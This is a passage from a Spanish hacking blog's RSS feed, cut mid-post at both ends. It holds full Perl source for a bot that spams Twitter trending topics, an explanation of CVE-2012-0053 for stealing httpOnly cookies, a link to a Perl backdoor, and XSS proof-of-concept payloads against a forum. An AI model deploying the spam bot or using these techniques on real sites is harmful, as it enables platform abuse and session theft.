;)&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: right;"&gt;&lt;span style="font-family: Georgia,&amp;quot;Times New Roman&amp;quot;,serif; font-size: large;"&gt;&lt;b style="color: orange;"&gt;Aetsu&lt;/b&gt;&lt;/span&gt; &lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-921221026764133049?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=fbdhoJdQa2E:KpEMRadZNIM:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/fbdhoJdQa2E" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2012-03-20T01:51:12.032+01:00</atom:updated><media:thumbnail url="http://4.bp.blogspot.com/-NiHQSJefqfw/T2fKkgUQAAI/AAAAAAAAAfk/YvvPi1GObWw/s72-c/1.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://0verl0ad.blogspot.com/2012/03/metasploit-y-ms12-020.html</feedburner:origLink></item><item><title>Tutorial: construyendo "Kidnapped Trending Topics" (0verKTT.pl v0.2)</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/_Or8UdMks6k/tutorial-construyendo-kidnapped.html</link><category>Herramientas</category><category>Redes Sociales</category><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Fri, 02 Mar 2012 15:29:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-9129453892590960949</guid><description>Saludos,&lt;br /&gt;&lt;br /&gt;   Antes que nada quiero aclarar que yo no soy programador, y que por ello la gente que sí se dedique a la programación quizás se encuentre muchos errores básicos en el script. Mi única intención con este breve tutorial es acercar un poco el cómo pasar de una idea abstracta en la cabeza a una herramienta.  Dejando esto claro, continúo.&lt;br /&gt;&lt;br /&gt;    La idea de la herramienta que tenía era la de un bot spammer automático que twiteara un mensaje de spam en los Trending Topics del momento, y que además esta herramienta se pudiera coordinar con otros ordenadores que también la tuvieran corriendo, para realizar de esta forma un floodeo con el mismo mensaje. Por lo tanto teníamos que resolver los siguientes problemas:&lt;br /&gt;&lt;br /&gt;1) Conseguir loguearnos en Twitter y poder escribir tweets&lt;br /&gt;2) Averiguar los TTs del momento&lt;br /&gt;3) Coordinar el ataque&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--[0x01 Trabajar con Twitter: misión API]----&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Lo primero que tuve que hacer fue investigar cómo diablos poder autenticarnos desde una aplicación en twitter y tener acceso a la API, respuesta que encontré en un documento de la sección de twitter para desarrolladores. De ahí pude sacar en claro que para poder postear tweets era necesario previamente una autenticación 0auth, consistente en un par de claves asignadas a la herramienta y otro par de claves asignado al usuario. Para poder obtener dichas claves se debe de registrar previamente el proyecto de la herramienta en Twitter Developers (cuentas falsas, cof cof), donde tendremos que seleccionar qué permisos queremos darle a la herramienta.&lt;br /&gt;&lt;br /&gt;   Una vez descubierto cómo tener acceso a la API de twitter sólo restaba averiguar si tenía que hacer todas las conexiones en crudo o existía algún wrapper que me permitiera agilizar las operaciones, por lo que hice una búsqueda en CPAN y me encontré con que existía un módulo llamado Net::Twitter para tal fin. Consultando su documentación podía verse que para la autenticación no había ningún misterio, simplemente asignar a las variables necesarias:&lt;br /&gt;&lt;br /&gt;Código: Perl&lt;br /&gt;&lt;br /&gt;    use Net::Twitter;&lt;br /&gt;     &lt;br /&gt;    my $nt = Net::Twitter-&gt;new(&lt;br /&gt;          traits   =&gt; [qw/OAuth API::REST/],&lt;br /&gt;          consumer_key        =&gt; $consumer_key,&lt;br /&gt;          consumer_secret     =&gt; $consumer_secret,&lt;br /&gt;          access_token        =&gt; $token,&lt;br /&gt;          access_token_secret =&gt; $token_secret,&lt;br /&gt;      );&lt;br /&gt;     &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   $consumer_key y el resto de variables son las claves que nos dieron al registrar el proyecto de la herramienta.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--[0x02 Extraer los TTs del momento]----&gt;&lt;br /&gt;&lt;br /&gt;   El siguiente paso lógico es averiguar cuales son los TTs para poder postear en ellos. Los TTs podemos encontrarlos en formato JSON en la URL http://api.twitter.com/1/trends/1.json , por lo que para poder extraer los datos que nos interesan tenemos que  tirar de regexp o usar un módulo, que en este caso se llama JSON y permite el trabajo con los datos de estos ficheros de forma sencilla. Luego en resumidas cuentas tenemos que lanzar una petición GET al archivo 1.json y después extraer de él los datos que nos interesan:&lt;br /&gt;&lt;br /&gt;Código: Perl&lt;br /&gt;&lt;br /&gt;    use LWP::UserAgent;&lt;br /&gt;    use JSON;&lt;br /&gt;     &lt;br /&gt;    sub sacarTT {&lt;br /&gt;     &lt;br /&gt;    $nav = LWP::UserAgent-&gt;new;&lt;br /&gt;    $nav = $nav-&gt;get('http://api.twitter.com/1/trends/1.json');&lt;br /&gt;    $nav = $nav-&gt;decoded_content;&lt;br /&gt;    $json_result = from_json($nav);&lt;br /&gt;     &lt;br /&gt;    return $json_result;&lt;br /&gt;     &lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Como podemos comprobar estoy usando una subrutina que me devolverá el contenido de 1.json decodificado.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--[0x03 Coordinar el ataque]----&gt;&lt;br /&gt;&lt;br /&gt;   El siguiente problema a resolver es encontrar una forma simple y efectiva de poder coordinar todas las herramientas, de tal forma que todas posteen el mismo mensaje, además de que en caso de que el mensaje cambie, la herramienta detecte este cambio y postee el nuevo mensaje. Tras pensarlo detenidamente he creído sacar en claro que la manera que aporta más ventajas es a través de .txt localizados en algún servidor. Es decir, se colocaría un .txt con la frase en un servidor, y todos los usuarios de la herramienta tendrían que pasar como parámetro la URL donde se encuentra el mensaje.  Las ventajas que encuentro a este sistema es que es independiente de las herramientas, puede modificarse el .txt rápidamente, pesa poco y se puede ir cambiando la localización de éste en distintos servidores. Si se quiere rizar el rizo se podría aplicar algún tipo de encriptación, pero en mi caso no lo he hecho.&lt;br /&gt;&lt;br /&gt;   Por lo tanto con que la herramienta haga una simple petición GET al archivo .txt y lea el contenido será suficiente:&lt;br /&gt;&lt;br /&gt;Código: Perl&lt;br /&gt;&lt;br /&gt;    sub actu {&lt;br /&gt;     &lt;br /&gt;    $nav = LWP::UserAgent-&gt;new;&lt;br /&gt;    $nav = $nav-&gt;get($_[0]);&lt;br /&gt;    $nav = $nav-&gt;decoded_content;&lt;br /&gt;     &lt;br /&gt;    return $nav;&lt;br /&gt;     &lt;br /&gt;    }&lt;br /&gt;     &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--[0x04 Twitteando que es gerundio]----&gt;&lt;br /&gt;&lt;br /&gt;   Habiendonos autenticado ya,  extraído cuales son los TTs, y conociendo qué mensaje queremos dar, sólo nos queda twittear. Para ello tiraremos de un bucle foreach que aplicaremos a lo que nos devuelva la subrutina &amp;sacarTT  para ir sacando los hashtags, los cuales serán añadidos al mensaje de SPAM, e ir actualizando nuestro estado:&lt;br /&gt;&lt;br /&gt;Código: Perl&lt;br /&gt;&lt;br /&gt;    $TT = &amp;sacarTT;&lt;br /&gt;    foreach $trend (@{$TT-&gt;[0]-&gt;{'trends'}}) {&lt;br /&gt;     &lt;br /&gt;        $xc = $trend-&gt;{'name'};&lt;br /&gt;        print $xc . "\n";&lt;br /&gt;        $spam = $Tweet . " " . $xc;&lt;br /&gt;        $nt-&gt;update($spam);&lt;br /&gt;        sleep 45;&lt;br /&gt;      }&lt;br /&gt;     &lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Podeis ver que no tiene misterio alguno ya que gracias al uso de módulos todo el código se resume en apenas unas pocas líneas.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--[0x05 Detalles finales]----&gt;&lt;br /&gt;&lt;br /&gt;  Por último sólo nos queda atar algunos cabos sueltos, como es que la herramienta sea "automática", o en otras palabras, que trabaje en un bucle infinito:&lt;br /&gt;&lt;br /&gt;Código: Perl&lt;br /&gt;&lt;br /&gt;    while(true) {&lt;br /&gt;     &lt;br /&gt;    Código que se tiene que repetir&lt;br /&gt;     &lt;br /&gt;    }&lt;br /&gt;     &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Además de comprobar si se le ha pasado el argumento con la URL:&lt;br /&gt;&lt;br /&gt;Código: Perl&lt;br /&gt;&lt;br /&gt;    $ARGC = @ARGV;&lt;br /&gt;    if ($ARGC != 1){&lt;br /&gt;    print "\nUso: 0verKTT.pl &amp;lt;url del txt&gt;";&lt;br /&gt;    exit(0);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--[0x06 Código completado]----&gt;&lt;br /&gt;&lt;br /&gt;  El source de la herramienta una vez integrado todo sería el siguiente:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Código: Perl&lt;br /&gt;&lt;br /&gt;     &lt;br /&gt;    #Tutorial para CPH&lt;br /&gt;    #Codeado por The X-C3LL&lt;br /&gt;    #http://0verl0ad.blogspot.com&lt;br /&gt;     &lt;br /&gt;     &lt;br /&gt;    use Net::Twitter;&lt;br /&gt;    use LWP::UserAgent;&lt;br /&gt;    use JSON;&lt;br /&gt;     &lt;br /&gt;    my $consumer_key = "";&lt;br /&gt;    my $consumer_secret = "";&lt;br /&gt;    my $token = "";&lt;br /&gt;    my $token_secret = "";&lt;br /&gt;     &lt;br /&gt;     &lt;br /&gt;    $ARGC = @ARGV;&lt;br /&gt;    if ($ARGC != 1){&lt;br /&gt;    print "\nUso: 0verKTT.pl &amp;lt;url del txt&gt;";&lt;br /&gt;    exit(0);&lt;br /&gt;    }&lt;br /&gt;     &lt;br /&gt;     &lt;br /&gt;    print q(&lt;br /&gt;                 -===Kidnapping Trending Topics v0.2 Public===-&lt;br /&gt;                                By The X-C3LL&lt;br /&gt;     &lt;br /&gt;     &lt;br /&gt;     &lt;br /&gt;    );&lt;br /&gt;     &lt;br /&gt;    print "[--&gt;] Autenticandonos en Twitter... \n";&lt;br /&gt;     &lt;br /&gt;    my $nt = Net::Twitter-&gt;new(&lt;br /&gt;          traits   =&gt; [qw/OAuth API::REST/],&lt;br /&gt;          consumer_key        =&gt; $consumer_key,&lt;br /&gt;          consumer_secret     =&gt; $consumer_secret,&lt;br /&gt;          access_token        =&gt; $token,&lt;br /&gt;          access_token_secret =&gt; $token_secret,&lt;br /&gt;      );&lt;br /&gt;     &lt;br /&gt;     &lt;br /&gt;     &lt;br /&gt;    while(true) {&lt;br /&gt;     &lt;br /&gt;     &lt;br /&gt;    print "[--&gt;] Conectando con el servidor [" . $ARGV[0] . "]...\n";&lt;br /&gt;    $Tweet = &amp;actu($ARGV[0]);&lt;br /&gt;    print "[--&gt;] Tweet actual... " . $Tweet . "\n";&lt;br /&gt;    print "[--&gt;] Trends Spammed...\n\n";&lt;br /&gt;     &lt;br /&gt;     &lt;br /&gt;     &lt;br /&gt;    $TT = &amp;sacarTT;&lt;br /&gt;    foreach $trend (@{$TT-&gt;[0]-&gt;{'trends'}}) {&lt;br /&gt;     &lt;br /&gt;        $xc = $trend-&gt;{'name'};&lt;br /&gt;        print $xc . "\n";&lt;br /&gt;        $spam = $Tweet . " " . $xc;&lt;br /&gt;        $nt-&gt;update($spam);&lt;br /&gt;        sleep 45;&lt;br /&gt;      }&lt;br /&gt;     &lt;br /&gt;    }&lt;br /&gt;     &lt;br /&gt;    sub sacarTT {&lt;br /&gt;     &lt;br /&gt;    $nav = LWP::UserAgent-&gt;new;&lt;br /&gt;    $nav = $nav-&gt;get('http://api.twitter.com/1/trends/1.json');&lt;br /&gt;    $nav = $nav-&gt;decoded_content;&lt;br /&gt;    $json_result = from_json($nav);&lt;br /&gt;     &lt;br /&gt;    return $json_result;&lt;br /&gt;     &lt;br /&gt;    }&lt;br /&gt;     &lt;br /&gt;     &lt;br /&gt;    sub actu {&lt;br /&gt;     &lt;br /&gt;    $nav = LWP::UserAgent-&gt;new;&lt;br /&gt;    $nav = $nav-&gt;get($_[0]);&lt;br /&gt;    $nav = $nav-&gt;decoded_content;&lt;br /&gt;     &lt;br /&gt;    return $nav;&lt;br /&gt;     &lt;br /&gt;    }&lt;br /&gt;     &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;--[0x07 Comentario final]----&gt;&lt;br /&gt;&lt;br /&gt;   Esta herramienta está diseñada para aprender, no para ser usada, con esto quiero decir que espero que no sea usada por la jauría de Skiddies para jugar a los Anonymous. Como dije al principio no soy programador, por lo que habré errado en cosas simples, y probablemente habré hecho las cosas de la forma menos eficiente, pero si a alguien le sirve, bienvenido sea.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-9129453892590960949?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=_Or8UdMks6k:0diMjP_xdEk:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/_Or8UdMks6k" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2012-03-03T00:30:42.301+01:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">2</thr:total><feedburner:origLink>http://0verl0ad.blogspot.com/2012/03/tutorial-construyendo-kidnapped.html</feedburner:origLink></item><item><title>CVE-2012-0053: Capturando cookies httpOnly</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/Kg2-S4LKbvU/cve-2012-0053-capturando-cookies.html</link><category>Cookies</category><category>HTTP</category><category>XSS</category><category>Apache</category><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Sun, 19 Feb 2012 01:44:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-4882447150510270552</guid><description>¡Saludos!&lt;br /&gt;&lt;br /&gt;  Por el tema de los exámenes y demases he dejado estas semanas el blog un poco apalancado, pero ya estoy un poco más online y puedo publicar cosas. Hoy voy a explicar brevemente en qué consiste el CVE-2012-0053, ya que he visto en un par de foros preguntar acerca de él.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Esta vulnerabilidad, descubierta por Hippert (&lt;a href=http://fd.the-wildcat.de/apache_e36a9cf46c.php&gt;fuente original aquí&lt;/a&gt;) permite poder robar aquellas cookies que tienen el flag httpOnly. ¿Qué es "httpOnly"? Es una medida de seguridad extra que impide a los lenguajes que corren desde el lado del cliente poder trabajar con una cookie, es decir, evita poder leer / escribir sobre esa cookie. Esto tiene implicaciones claras a la hora de preservar la integridad de esa cookie, bloqueando de esta forma la captura por el método clásico de un XSS.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Ahora bien, ¿si no podemos hacer que un script acceda a la cookie, como podremos robarla?. Hete aquí la idea: hecha la ley, hecha la trampa. Si no podemos acceder a la cookie, tendremos que hacer que el contenido de la cookie sea devuelto en alguna parte donde sí podamos acceder a ella. Esta triquiñuela ya la hizo Jeremiah Grossman en su paper sobre XST (XSS + método TRACE, un must read para todos los  que siempre envían algún mensaje tipo &lt;i&gt;"kiero juankear la web d mi vcino y le e pasao n escaner y me dic k tiene habilitado TRACE ke es eso"&lt;/i&gt;). En este caso la idea es que el contenido de la cookie sea devuelto dentro del cuerpo del documento, donde podremos acceder fácilmente con un script. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Para lograr este fin Hipper recurre a provocar un error 400 (Bad Request) en el servidor, ya que en el mensaje de error se muestran los parámetros enviados, y entre ellos encontraremos la cookie. Para poder generar dicho error simplemente podemos enviar una cabecera HTTP con una cookie de un tamaño que sobrepase el límite:&lt;br /&gt;&lt;br /&gt;&lt;img src="http://3.bp.blogspot.com/-RqacZF47EiQ/T0DNFYPb82I/AAAAAAAAAEY/E2IVKBuXURo/s320/Sin%2Bt%25C3%25ADtulo.jpg"&gt;&lt;br /&gt;&lt;br /&gt;   Y  el servidor vulnerable (recordemos que se trata de las versiones de apache 2.2.0 - 2.2.21 ) nos soltará un error 400, porque hemos excedido el límite de tamaño, donde encontraremos nuestra ansiada cookie :)&lt;br /&gt;&lt;br /&gt;&lt;img src=http://2.bp.blogspot.com/-hbx3lN1NbSY/T0DPnYSWpVI/AAAAAAAAAEw/Bs4b7GCbSX4/s400/Sin%2Bt%25C3%25ADtulo.jpg"&gt;&lt;br /&gt;&lt;br /&gt;    (En verde está la cookie de sesión original con el flag httpOnly, y en rojo los caracteres para provocar el error.)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    Para poder robar una cookie en un servidor vulnerable a XSS y a esta técnica, lo que tendremos que hacer es utilizar XMLHttpRequest para adherir la cookie gigante a la cookie original, y de esta forma provocar el error. El resto sería símplemente leer lo que deseamos del documento HTML. El descubridor hizo un pequeño PoC que podeis ver &lt;a href="http://fd.the-wildcat.de/apache_e36a9cf46c.php" &gt;aquí.&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-4882447150510270552?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=Kg2-S4LKbvU:k2psvG8yuOY:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/Kg2-S4LKbvU" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2012-02-19T11:32:18.482+01:00</atom:updated><media:thumbnail url="http://3.bp.blogspot.com/-RqacZF47EiQ/T0DNFYPb82I/AAAAAAAAAEY/E2IVKBuXURo/s72-c/Sin%2Bt%25C3%25ADtulo.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://0verl0ad.blogspot.com/2012/02/cve-2012-0053-capturando-cookies.html</feedburner:origLink></item><item><title>Root Codes</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/ZNsfFNrxsXM/root-codes.html</link><category>webs amigas</category><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Wed, 25 Jan 2012 01:30:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-3158325457152460503</guid><description>¡Saludos!&lt;br /&gt;&lt;br /&gt; Escribo esta entrada para dar a conocer la web &lt;a href="http://http://rootcodes.com"&gt; Root Codes&lt;/a&gt; de mi amigo &lt;a href="https://twitter.com/0x5d"&gt;@0x5d (JaAvier)&lt;/a&gt;. En ella podremos encontrar sources, tutoriales y libros (todo orientado a la programación). Además nos permite mandar nuestros propios programas para que sean publicados allí.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-3158325457152460503?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=ZNsfFNrxsXM:_H4fkk1Man4:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/ZNsfFNrxsXM" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2012-01-25T10:40:24.498+01:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://0verl0ad.blogspot.com/2012/01/root-codes.html</feedburner:origLink></item><item><title>Backfos v0.3 [A perl backdoor]</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/lFNEL36YvFw/backfos-v03-perl-backdoor.html</link><category>Herramientas</category><category>Backdoors</category><category>Rootear</category><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Wed, 11 Jan 2012 16:52:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-5225871393769337751</guid><description>¡Saludos!&lt;br /&gt;&lt;br /&gt;  Hechando un vistazo en mi discoduro externo me he encontrado con una carpeta donde fuí metiendo distintas herramientas que estuve creando cuando los miembros del FoS Team estaban activos. &lt;br /&gt;&lt;br /&gt;   La versión que publiqué fue la v0.2 y es la que podeis encontrar en varios foros y comunidades, pero en la mencionada carpeta encontré una v0.3 que en teoría te mostraba los rootexploits a los que era vulnerable la versión del kernel del servidor donde lo ejecutabas, por lo que tenía un gran interés.&lt;br /&gt;&lt;br /&gt;  No la he vuelto a probar, por lo que no sé si es funcional, confirmadmelo en los comentarios.&lt;br /&gt;&lt;br /&gt;Source =&gt; &lt;a href="http://www.portalhacker.net/index.php/topic,148266.msg698948/topicseen.html#msg698948"&gt;BackFoS v0.3&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-5225871393769337751?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=lFNEL36YvFw:OHb7RNhUv0k:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/lFNEL36YvFw" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2012-01-12T01:57:48.617+01:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://0verl0ad.blogspot.com/2012/01/backfos-v03-perl-backdoor.html</feedburner:origLink></item><item><title>HotWords hace tu foro vulnerable</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/bX5rSq2drE8/hotwords-hace-tu-foro-vulnerable.html</link><category>SMF</category><category>XSS</category><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Fri, 06 Jan 2012 06:41:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-6430698426588280530</guid><description>¡Saludos!&lt;br /&gt;&lt;br /&gt;  Estos últimos días encontré casi por error un XSS en &lt;a href="http://www.portalhacker.net/index.php"&gt; Foro PortalHacker&lt;/a&gt;. Al moderar la sección de "Seguridad Web" me encontré con que en algunos posts los tags HTML eran incluidos tal cual, sin filtrado alguno, por lo que éstos eran interpretados por el navegador. Este hecho me extrañó bastante en tanto que el foro es SMF, y en las versiones anteriores no me había encontrado con esta vulnerabilidad.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Empecé a investigar un poco más y me topé con que este hecho no se daba en todos los posts, sino que únicamente aparecía en aquellos donde había publicidad (apenas unos días antes se había incluido para poder cubrir gastos, sin aviso alguno al staff), y únicamente cuando el tag HTML estaba cerca de una palabra reseñada con publicidad.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Asi que empecé a hacer pruebas como loco, y a la conclusión que llegué es que SMF realiza el filtrado de la forma correcta, convirtiendo &amp;lt; en &amp;&lt;i&gt;&lt;/i&gt;lt; pero posteriormente cuando HotWords incluye la publicidad, transforma &amp;&lt;i&gt;&lt;/i&gt;lt; en &amp;lt; y por tanto quedan como tags HTML. &lt;br /&gt;&lt;br /&gt;   Habiendo encontrado cómo actuaba, sólo me quedaba encontrar una forma de explotarlo 100% efectiva. Para tal fin, lo que había que hacer era crear un post en el cual incluimos alguna de las palabras que solía reseñar con publicidad, como "web", "video" o "bueno", y posteriormente editar el post para colocar junto a la palabra reseñada el exploit (&amp;lt;img src="." onerror="alert(8);"&gt;). &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;  Otro método alternativo para que HotWords bypasseara el filtro anti-XSS de SMF fue encontrado por &lt;a href="https://twitter.com/0x5d"&gt;@0x5d&lt;/a&gt;, y consistía en crear un post con: &amp;lt;img src="." onerror="alert(8)" alt="bueno"&gt;. &lt;br /&gt;&lt;br /&gt; Actualmente se ha eliminado hotWords del foro, por lo que no es vulnerable ya.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2806641995089653786-6430698426588280530?l=0verl0ad.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;div class="feedflare"&gt;
&lt;a href="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?a=bX5rSq2drE8:peloaTzonzA:yIl2AUoC8zA"&gt;&lt;img src="http://feeds.feedburner.com/~ff/0v3rl04d1nTh3N3t?d=yIl2AUoC8zA" border="0"&gt;&lt;/img&gt;&lt;/a&gt;
&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/0v3rl04d1nTh3N3t/~4/bX5rSq2drE8" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2012-01-06T16:08:12.679+01:00</atom:updated><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">3</thr:total><feedburner:origLink>http://0verl0ad.blogspot.com/2012/01/hotwords-hace-tu-foro-vulnerable.html</feedburner:origLink></item><item><title>Megaupload y los DNS</title><link>http://feedproxy.google.com/~r/0v3rl04d1nTh3N3t/~3/BtkmOA8vZi0/megaupload-y-los-dns.html</link><category>internet</category><category>general</category><author>lessiem@arnet.com.ar (Copyright: "Vengador de las Sombras")</author><pubDate>Tue, 29 Nov 2011 14:09:00 PST</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2806641995089653786.post-98897727944773021</guid><description>&amp;nbsp; Parece que algunos que usamos ciertos DNS tenemos problemas con megaupload como vemos en noticias como:&lt;br /&gt;-&amp;gt;&amp;nbsp; &lt;a href="http://www.fayerwayer.com/2011/11/confiscacion-de-dominio-vuelve-inaccesible-a-megaupload"&gt;http://www.fayerwayer.com/2011/11/confiscacion-de-dominio-vuelve-inaccesible-a-megaupload&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;Una solución para esto es cambiar nuestros DNS por los de &lt;a href="http://www.opendns.com/"&gt;openDNS&lt;/a&gt; (por poner un ejemplo) con los que si que funciona:&lt;br /&gt;&lt;br /&gt;208.67.222.222&amp;nbsp;&amp;nbsp; /&amp;nbsp; 208.67.220.220&lt;br /&gt;&lt;br /&gt;La  otra forma de acceder es no utilizar un servidor dns y acceder mediante  IP. Veamos mediante que ips podemos acceder a megaupload:&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;&lt;b&gt;[alpha@alpha-pc ~]$ nslookup www.megaupload.com&lt;/b&gt;&lt;br /&gt;Server:&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; 208.67.222.222&lt;br /&gt;Address:&amp;nbsp;&amp;nbsp;&amp;nbsp; 208.67.222.222#53&lt;br /&gt;&lt;br /&gt;Non-authoritative answer:&lt;br /&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; www.megaupload.com&lt;br /&gt;Address: 174.140.154.20&lt;br /&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; www.megaupload.com&lt;br /&gt;Address: 174.140.154.21&lt;br /&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; www.megaupload.com&lt;br /&gt;Address: 174.140.154.22&lt;br /&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; www.megaupload.com&lt;br /&gt;Address: 174.140.154.23&lt;br /&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; www.megaupload.com&lt;br /&gt;Address: 174.140.154.24&lt;br /&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; www.megaupload.com&lt;br /&gt;Address: 174.140.154.12&lt;br /&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; www.megaupload.com&lt;br /&gt;Address: 174.140.154.13&lt;br /&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; www.megaupload.com&lt;br /&gt;Address: 174.140.154.14&lt;br /&gt;Name:&amp;nbsp;&amp;nbsp;&amp;nbsp; www.megaupload.com&lt;br /&gt;Address: 174.140.154.15&lt;/blockquote&gt;&amp;nbsp;Cualquiera de las ips mostradas con nslookup nos llevará a 